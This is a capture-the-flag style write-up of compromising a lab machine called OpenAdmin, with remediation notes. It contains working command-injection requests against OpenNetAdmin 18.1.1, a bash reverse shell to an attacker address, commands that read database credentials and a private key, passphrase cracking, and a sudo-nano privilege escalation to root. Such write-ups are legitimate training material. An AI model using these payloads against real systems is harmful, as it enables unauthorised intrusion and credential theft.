OpenAdmin
Summary
I discovered an outdated OpenNetAdmin (18.1.1) installation via web directory brute-force and exploited its unauthenticated OS command-injection flaw to execute arbitrary commands as the Apache service account. Post-exploitation enumeration of the web root uncovered plaintext database credentials in an application config file and an SSH private key for a local user embedded in an internal web directory.
Cracking the key's passphrase offline gave SSH access as that user. The account held a misconfigured sudo rule permitting the text editor nano to run as root without a password, which I weaponised through a known GTFObins technique—using nano's built-in command-execution feature to set a SUID bit on /bin/bash—achieving full root control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Full TCP scan with service/version detection.
$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txtDirectory brute-force to discover /ona/ and any other paths.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html -o gobuster_root.txtExact commands 2
Extract version string from the ONA login page source.
$ curl -s http://$TARGET/ona/login.php | grep -iE 'version|18\.[0-9]'Confirm public exploits exist for 18.1.1 (EDB-47691).
$ searchsploit opennetadminExact commands 2
Proof-of-concept: inject 'id'; confirm www-data execution in the XML response.
$ curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;id' --data-urlencode 'xajaxargs[]=ping' | sed -n '1,120p'Replace $ATTACKER_IP with your listener; establishes a reverse shell as www-data. Start: nc -lvnp 4444.
$ curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode "xajaxargs[]=ip=>;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" --data-urlencode 'xajaxargs[]=ping'FixUpdate or decommission the vulnerable OpenNetAdmin installationCritical
Exact commands 3
Retrieve ONA database config — exposes plaintext MySQL password.
$ curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;cat /opt/ona/www/local/config/database_settings.inc.php' --data-urlencode 'xajaxargs[]=ping'Read Apache virtual-host configs to discover the internal site directory at /var/www/internal/.
$ curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;cat /etc/apache2/sites-enabled/*.conf' --data-urlencode 'xajaxargs[]=ping'Extract joanna's PEM private key embedded in the internal site's PHP source.
$ curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;cat /var/www/internal/index.php' --data-urlencode 'xajaxargs[]=ping'FixRemove credentials and private keys from web-accessible directories and application config filesHigh
Exact commands 2
Convert the PEM private key to a hash format John can process.
$ ssh2john joanna_id_rsa > joanna.hashDictionary attack; passphrase recovered from rockyou.txt.
$ john joanna.hash --wordlist=/usr/share/wordlists/rockyou.txtExact commands 2
Interactive SSH session as joanna; enter cracked passphrase when prompted.
$ chmod 600 joanna_id_rsa && ssh -i joanna_id_rsa joanna@$TARGETReturns <user.txt>.
$ ssh -i /tmp/joanna_openadmin_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 joanna@$TARGET 'id; hostname; cat /home/joanna/user.txt'
uid=1000(joanna)Exact commands 4
As joanna; confirms '(ALL) NOPASSWD: /bin/nano /opt/priv'.
$ sudo -lOpens nano as root. Then interactively: Ctrl-R (Read File prompt), Ctrl-X (Execute Command prompt), type 'chmod u+s /bin/bash', press Enter, Ctrl-X to exit.
$ sudo /bin/nano /opt/privDrives the nano GTFObins flow over SSH.
$ expect -c '
set timeout 10
spawn ssh -tt -i /tmp/joanna_openadmin_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null joanna@'"$TARGET"' "TERM=xterm sudo /bin/nano /opt/priv"
expect "GNU nano"
send "\022"
expect "File to insert"
send "\030"
expect "Command to execute"
send "chmod u+s /bin/bash\r"
sleep 1
send "\030"
expect eof
'After SUID is set, -p flag launches bash with effective UID 0; returns <root.txt>.
$ ssh -i /tmp/joanna_openadmin_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null joanna@$TARGET '/bin/bash -p -c "id; cat /root/root.txt"'FixRemove the sudo rule granting joanna passwordless execution of nano as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.